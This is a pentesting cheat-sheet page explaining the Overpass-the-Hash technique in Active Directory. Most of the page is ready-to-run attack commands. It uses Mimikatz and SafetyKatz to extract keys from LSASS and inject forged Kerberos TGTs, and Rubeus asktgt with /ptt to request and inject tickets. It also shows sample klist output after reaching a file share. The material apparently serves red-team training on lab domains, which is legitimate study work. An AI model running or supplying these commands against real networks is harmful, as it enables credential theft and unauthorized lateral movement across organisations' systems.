> For the complete documentation index, see [llms.txt](https://x7331.gitbook.io/boxes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://x7331.gitbook.io/boxes/tl-dr/active-directory/lateral-movement/overpass-the-hash.md).

# Overpass-the-Hash

{% hint style="info" %}

## Pass-the-Hash vs Overpass-the-Hash

* [**Pass-the-Hash (PtH)**](/boxes/tl-dr/active-directory/lateral-movement/pass-the-hash.md) involves reusing NTLM password hashes—typically the NT hash of a user account—to authenticate over NTLM. This technique works with both local and domain accounts but only against services that accept NTLM (e.g., SMB, WMI, WinRM with NTLM fallback).
* **Overpass-the-Hash (OtH)** leverages the NT or AES keys of a domain user to generate valid Kerberos TGTs, which are then injected into the current session (or a new one). This enables access to Kerberos-authenticated services and is preferred in environments that restrict or monitor NTLM. OtH is effectively a Kerberos-based equivalent of PtH, offering broader access in modern enterprise networks.
  {% endhint %}

**Overpass-the-Hash (OtH)** enables Kerberos-based lateral movement by forging a valid TGT from a user's NTLM or AES key, avoiding NTLM authentication entirely. Tools like [Mimikatz](/boxes/tl-dr/active-directory/ad-tools/mimikatz.md) generate and inject the TGT into a new process (e.g., `cmd.exe` or PowerShell), allowing access to Kerberos-protected services such as RDP, CIFS, or WinRM. OtH attacks start a new process with Logon Type 9 (`runas /netonly`).

This technique is typically used after compromising a host where the target user has logged in. With administrative access, the attacker extracts the user’s hash from LSASS, generates a Kerberos ticket, and injects it into memory. **OtH is stealthier than PtH**, evades NTLM restrictions, and leverages native system tooling while operating entirely within the Kerberos trust model.

## Tools

{% hint style="info" %}
Although the `mimikatz` module is named `sekurlsa::pth`, this is technically an OtH attack—not traditional PtH; this is just a misnomer.
{% endhint %}

{% tabs %}
{% tab title="mimikatz" %}
Execute an OtH attack with [Mimikatz](/boxes/tl-dr/active-directory/ad-tools/mimikatz.md):

{% code overflow="wrap" %}

```powershell
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell" "exit"
```

{% endcode %}

There are no cached TGTs yet, as no Kerberos-authenticated service is accessed:

```powershell
> klist
...
Cached Tickets: (0)
```

When a Kerberos-based service is used (e.g. CIFS), a TGT for `krbtgt/CORP.COM` and TGS for `cifs/files04` will be generated:

{% code overflow="wrap" %}

```powershell
> net use \\files04
The command completed successfully.

> klist
...
Cached Tickets: (2)

#0>     Client: jen @ CORP.COM
        Server: krbtgt/CORP.COM @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 2/27/2023 5:27:28 (local)
        End Time:   2/27/2023 15:27:28 (local)
        Renew Time: 3/6/2023 5:27:28 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: DC1.corp.com

#1>     Client: jen @ CORP.COM
        Server: cifs/files04 @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
        Start Time: 2/27/2023 5:27:28 (local)
        End Time:   2/27/2023 15:27:28 (local)
        Renew Time: 3/6/2023 5:27:28 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called: DC1.corp.com
```

{% endcode %}

The NTLM hash has been successfully converted a TGT. The latter can now use any Kerberos-based authentication tool, such as [`PsExec`](/boxes/tl-dr/active-directory/ad-tools/sysinternals.md).
{% endtab %}

{% tab title="SafetyKatz" %}
To perform an OtH attack with [SafetyKatz](broken://pages/QoBhrEdJh52Zczn34OYr):

{% code overflow="wrap" %}

```powershell
# Extract ASE256 keys from LSASS
.\SafetyKatz.exe "privilege::debug" "sekurlsa::ekeys" "exit"
```

{% endcode %}

Use the AES256 key (or NT hash) of a domain user to inject a forged TGT and launch a new process (e.g., `cmd.exe`) with Logon Type 9 (`runas /netonly`):

{% hint style="warning" %}
The OtH attack with SafetyKatz needs to be run from an elevated shell!
{% endhint %}

{% code overflow="wrap" %}

```powershell
.\SafetyKatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:dollarcorp.moneycorp.local /aes256:<aes256key> /run:cmd.exe" "exit"
```

{% endcode %}
{% endtab %}

{% tab title="Rubeus" %}
[Rubeus](/boxes/tl-dr/active-directory/ad-tools/rubeus.md) can be used for OtH attacks **without access to an elevated shell**. The downside is that it overwrites the current tickets:

```powershell
.\Rubeus.exe asktgt /user:administrator /rc4:<ntmlHash> /ptt
```

If a new process need to be started (to avoid overwriting), access to an elevated shell is required:

{% code overflow="wrap" %}

```powershell
.\Rubeus.exe asktgt /user:administrator /aes256:<aes256keys> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
```

{% endcode %}
{% endtab %}
{% endtabs %}